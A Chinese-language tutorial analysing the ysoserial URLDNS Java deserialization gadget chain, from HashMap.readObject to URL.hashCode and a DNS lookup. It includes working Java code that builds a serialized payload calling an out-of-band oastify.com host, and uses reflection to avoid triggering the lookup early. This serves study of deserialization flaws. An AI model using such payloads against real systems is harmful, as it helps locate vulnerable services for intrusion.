# URLDNS 链分析

URLDNS 链是 ysoserial 中的一条利用链,通常用于监测是否存在 Java 反序列化漏洞,该链有如下特点:

1、不限制 jdk 版本,使用 java 内置的类,无第三方依赖要求

2、目标无回显,可通过 DNS 请求验证是否存在反序列化漏洞

3、该条链只能用来发起 DNS 请求,不能够进行其他利用

该条链子的漏洞的 sink 点为 Java 内置的 java.net.URL 类,该类的 hasCode() 方法会调用 getHostAddress() 方法对目标 host 进行 DNS 解析请求

首先来看下 hasCode() 方法,该方法在内部又调用了 handlerhashCode() 方法, handlerURLStreamHandler 类的实例

继续跟进 handler.hashCode() ,内部调用 getHostAddress() 方法进行 DNS 解析请求,然而有一个前提就是自身的 hashCode 成员属性的值要为 - 1

接下来就是分析该条链的 kick-off 了,也就是 java.util.HashMap 类,这个类是最常用的 Map 实现类

由于反序列化的对象是 HashMap 的实例,因此会调用该类的 readObject() 方法,来看一下,在该方法的最后通过循环将序列化对象中的 keyvalue 对象通过 readObject() 方法反序列化后,通过 putVal() 方法将键、值及 hash 信息存入到 HashMap 的成员属性 table 中

这里首先会先调用 hash() 方法,跟进查看下,发现又调用了 keyhashCode() 方法

所以此时调用链就有了,这里的 key 是可控的,将其设为 URL 类的实例,就可以在反序列化的时候调用 URL 类的 hashCode() 方法,从而发起 DNS 解析请求

所以 payload 构造如下:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashmap = new HashMap<>();
        URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com");
        hashmap.put(url, 1);
        serialize(hashmap);
    }
}

然而 HashMapput() 方法同样也会调用 hash() 方法,因此在这一步时也会进行一次 DNS 解析请求

为了不在生成 payload 的时候就触发 DNS 解析,我们需要通过反射将 URL 对象的 hashCode 的值设置不为 - 1 (在实例化时会默认赋值为 - 1),在放入 hashmap 之后为了保证后续在反序列化的时候成功触发漏洞调用链,还需要将 hashCode 的值重新设置为 - 1,因此最终的 payload 如下:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashmap = new HashMap<>();
        URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        // 这里发送 DNS 请求,要先将 url 对象的 hashcode 设置不为 - 1
        hashcodefield.set(url, 666);
        hashmap.put(url, 1);
        // 此时要把 hashcode 改回 - 1,否则反序列化时不会触发漏洞点
        hashcodefield.set(url, -1);
        serialize(hashmap);
    }
}

编写一个反序列化测试类看看效果:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeTest {
    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("sel.bin");
    }
}

运行后成功接收到了 DNS 请求